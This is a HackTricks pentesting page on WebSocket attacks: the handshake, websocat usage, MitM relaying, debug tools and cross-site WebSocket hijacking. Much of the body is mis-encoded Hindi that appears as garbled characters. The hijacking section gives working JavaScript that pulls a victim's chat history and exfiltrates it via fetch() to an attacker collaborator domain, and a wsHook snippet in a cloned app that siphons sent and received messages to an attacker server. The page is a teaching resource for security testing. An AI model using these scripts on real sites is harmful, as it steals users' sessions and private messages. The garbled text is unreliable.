hacktricks/pentesting-web/websocket-attacks.md

18 KiB

WebSocket Attacks

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

What are WebSockets

WebSocket рдХрдиреЗрдХреНрд╢рди рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ HTTP рд╣реИрдВрдбрд╢реЗрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЗрдиреНрд╣реЗрдВ рджреАрд░реНрдШрдХрд╛рд▓рд┐рдХ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рднреА рд╕рдордп рджреНрд╡рд┐рджрд┐рд╢реАрдп рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдмрд┐рдирд╛ рд▓реЗрди-рджреЗрди рдкреНрд░рдгрд╛рд▓реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред рдпрд╣ WebSockets рдХреЛ рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдлрд╛рдпрджреЗрдордВрдж рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдХрдо рд╡рд┐рд▓рдВрдмрддрд╛ рдпрд╛ рд╕рд░реНрд╡рд░-рдкреНрд░рд╛рд░рдВрднрд┐рдд рд╕рдВрдЪрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд▓рд╛рдЗрд╡ рд╡рд┐рддреНрддреАрдп рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдоред

Establishment of WebSocket Connections

WebSocket рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдВ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, WebSocket рдХрдиреЗрдХреНрд╢рди рдЖрдорддреМрд░ рдкрд░ рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрд░рдВрдн рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

var ws = new WebSocket("wss://normal-website.com/ws");

wss рдкреНрд░реЛрдЯреЛрдХреЙрд▓ TLS рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд┐рдд WebSocket рдХрдиреЗрдХреНрд╢рди рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ ws рдПрдХ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред

рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╕рдордп, HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рдПрдХ рд╣реИрдВрдбрд╢реЗрдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣реИрдВрдбрд╢реЗрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ рдФрд░ рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдХ рд╣реИрдВрдбрд╢реЗрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

рд╕рд░реНрд╡рд░ рдХрд╛ рд╣реИрдВрдбрд╢реЗрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

The connection remains open for message exchange in both directions once established.

Key Points of the WebSocket Handshake:

  • The Connection and Upgrade headers signal the initiation of a WebSocket handshake.
  • The Sec-WebSocket-Version header indicates the desired WebSocket protocol version, usually 13.
  • A Base64-encoded random value is sent in the Sec-WebSocket-Key header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
  • The Sec-WebSocket-Accept header in the server's response is a hash of the Sec-WebSocket-Key, verifying the server's intention to open a WebSocket connection.

These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.

Linux console

You can use websocat to establish a raw connection with a websocket.

websocat --insecure wss://10.10.10.10:8000 -v

рдпрд╛ websocat рд╕рд░реНрд╡рд░ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдЖрдкрдХреЗ рд╡рд░реНрддрдорд╛рди рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ HTTP websocket рд╕реЗ рдЬреБрдбрд╝реЗ рд╣реБрдП рд╣реИрдВ, рддреЛ рдЖрдк ARP Spoofing Attack рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ MitM рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
рдПрдХ рдмрд╛рд░ рдЬрдм рдХреНрд▓рд╛рдЗрдВрдЯ рдЖрдкрд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реЛ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

рдЖрдк рдЯреВрд▓ https://github.com/PalindromeLabs/STEWS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ websockets рдореЗрдВ рдЬреНрдЮрд╛рдд vulnerabilities рдХреЛ рдЦреЛрдЬрдиреЗ, рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдФрд░ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Websocket Debug tools

  • Burp Suite MitM websockets рд╕рдВрдЪрд╛рд░ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕ рддрд░рд╣ рд╕реЗ рдпрд╣ рдирд┐рдпрдорд┐рдд HTTP рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред
  • socketsleuth Burp Suite рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЖрдкрдХреЛ Burp рдореЗрдВ Websocket рд╕рдВрдЪрд╛рд░ рдХреЛ рдмреЗрд╣рддрд░ рдврдВрдЧ рд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛, рдЗрддрд┐рд╣рд╛рд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ, interception rules рд╕реЗрдЯ рдХрд░рдХреЗ, match and replace рдирд┐рдпрдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, Intruder рдФрд░ AutoRepeater рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред
  • WSSiP: "WebSocket/Socket.io Proxy" рдХреЗ рд▓рд┐рдП рд╕рдВрдХреНрд╖рд┐рдкреНрдд, рдпрд╣ рдЯреВрд▓, рдЬреЛ Node.js рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдХреИрдкреНрдЪрд░, рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ, рдХрд╕реНрдЯрдо рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рд╕рднреА WebSocket рдФрд░ Socket.IO рд╕рдВрдЪрд╛рд░ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
  • wsrepl рдПрдХ рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ websocket REPL рд╣реИ рдЬрд┐рд╕реЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкреЗрдирдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЖрдиреЗ рд╡рд╛рд▓реЗ websocket рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдФрд░ рдирдП рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЗрд╕ рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрд╕рд╛рди рдврд╛рдВрдЪрд╛ рд╣реИред
  • https://websocketking.com/ рдпрд╣ рдПрдХ рд╡реЗрдм рд╣реИ рдЬреЛ рдЕрдиреНрдп рд╡реЗрдм рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП websockets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
  • https://hoppscotch.io/realtime/websocket рдЕрдиреНрдп рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕рдВрдЪрд╛рд░/рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдмреАрдЪ, рдпрд╣ рдПрдХ рд╡реЗрдм рд╣реИ рдЬреЛ рдЕрдиреНрдп рд╡реЗрдм рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП websockets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

Websocket Lab

Burp-Suite-Extender-Montoya-Course рдореЗрдВ рдЖрдкрдХреЗ рдкрд╛рд╕ websockets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╡реЗрдм рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рд╣реИ рдФрд░ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдЖрдк рдПрдХ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, рдЬрд┐рд╕реЗ cross-origin WebSocket hijacking рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреЛ Cross-Site Request Forgery (CSRF) рдХрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдорд╛рдорд▓рд╛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ WebSocket рд╣реИрдВрдбрд╢реЗрдХ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ vulnerability рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм WebSocket рд╣реИрдВрдбрд╢реЗрдХ рдХреЗрд╡рд▓ HTTP cookies рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ CSRF tokens рдпрд╛ рд╕рдорд╛рди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗред

рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХреЛ рдПрдХ рджреБрд╖реНрдЯ рд╡реЗрдм рдкреГрд╖реНрда рд╣реЛрд╕реНрдЯ рдХрд░рдХреЗ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдХрдордЬреЛрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ WebSocket рдХрдиреЗрдХреНрд╢рди рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдЗрд╕ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде рдкреАрдбрд╝рд┐рдд рдХреЗ рд╕рддреНрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕рддреНрд░ рдкреНрд░рдмрдВрдзрди рддрдВрддреНрд░ рдореЗрдВ CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдХрдореА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред

Simple Attack

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрдм websocket рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ cookie рд╕рд░реНрд╡рд░ рдХреЛ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИред рд╕рд░реНрд╡рд░ рдЗрд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЙрд╕рдХреЗ websocket рд╕рддреНрд░ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рднреЗрдЬреА рдЧрдИ рдХреБрдХреА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред

рдлрд┐рд░, рдпрджрд┐ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП websocket рд╕рд░реНрд╡рд░ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдмрд╛рддрдЪреАрдд рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ рд╡рд╛рдкрд╕ рднреЗрдЬрддрд╛ рд╣реИ рдпрджрд┐ рдПрдХ msg "READY" рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╕рд░рд▓ XSS рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реБрдП (cookie рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкреАрдбрд╝рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреЗрдЬреА рдЬрд╛рдПрдЧреА) "READY" рднреЗрдЬрдиреЗ рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдЧрд╛ред

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

рдХреНрд░реЙрд╕ рдУрд░рд┐рдЬрд┐рди + рдПрдХ рдЕрд▓рдЧ рдЙрдкрдбреЛрдореЗрди рдХреЗ рд╕рд╛рде рдХреБрдХреА

рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рдПрдХ рдЙрдкрдбреЛрдореЗрди рдореЗрдВ рдордирдорд╛рдирд╛ Javascript рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣рд╛ рдЬрд╣рд╛рдВ рд╡реЗрдм рд╕реЙрдХреЗрдЯ рд╕рдВрдЪрд╛рд░ рд╣реЛ рд░рд╣рд╛ рдерд╛ред рдЪреВрдВрдХрд┐ рдпрд╣ рдЙрдкрдбреЛрдореЗрди рдерд╛, рдХреБрдХреА рднреЗрдЬреА рдЬрд╛ рд░рд╣реА рдереА, рдФрд░ рдЪреВрдВрдХрд┐ рд╡реЗрдмрд╕реЙрдХреЗрдЯ рдиреЗ рдУрд░рд┐рдЬрд┐рди рдХреА рд╕рд╣реА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХреА, рдЗрд╕рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдирд╛ рдФрд░ рдЗрд╕рд╕реЗ рдЯреЛрдХрди рдЪреБрд░рд╛рдирд╛ рд╕рдВрднрд╡ рдерд╛ред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдбреЗрдЯрд╛ рдЪреБрд░рд╛рдирд╛

рдЖрдк рдЬрд┐рд╕ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдирдХрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЙрд╕реЗ рдХреЙрдкреА рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП .html рдлрд╝рд╛рдЗрд▓реЗрдВ) рдФрд░ рдЙрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдЕрдВрджрд░ рдЬрд╣рд╛рдВ рд╡реЗрдм рд╕реЙрдХреЗрдЯ рд╕рдВрдЪрд╛рд░ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рдпрд╣ рдХреЛрдб рдЬреЛрдбрд╝реЗрдВ:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

рдЕрдм wsHook.js рдлрд╝рд╛рдЗрд▓ рдХреЛ https://github.com/skepticfx/wshook рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рд╡реЗрдм рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд╕рд╣реЗрдЬреЗрдВред
рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдХреЗ рдФрд░ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЗрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк websocket рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреЗ рдЧрдП рдФрд░ рдкреНрд░рд╛рдкреНрдд рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдЪреБрд░рд╛ рд╕рдХреЗрдВрдЧреЗ:

sudo python3 -m http.server 80

Race Conditions

WebSockets рдореЗрдВ Race Conditions рднреА рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдФрд░ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ.

Other vulnerabilities

рдЪреВрдВрдХрд┐ Web Sockets рдПрдХ рддрдВрддреНрд░ рд╣реИрдВ рдбреЗрдЯрд╛ рдХреЛ рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд╛рдЗрдб рдкрд░ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдХреИрд╕реЗ рд╕рдВрднрд╛рд▓рддреЗ рд╣реИрдВ, Web Sockets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдИ рдЕрдиреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдЬреИрд╕реЗ XSS, SQLi рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрдм vuln рдХреЛ рдПрдХ websocket рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЗрдирдкреБрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

WebSocket Smuggling

рдпрд╣ рдХрдордЬреЛрд░реА рдЖрдкрдХреЛ рд░рд┐рд╡рд░реНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╣реЛ рдХрд┐ websocket рд╕рдВрдЪрд╛рд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ (рднрд▓реЗ рд╣реА рдпрд╣ рд╕рдЪ рди рд╣реЛ)ред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЫрд┐рдкреЗ рд╣реБрдП рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}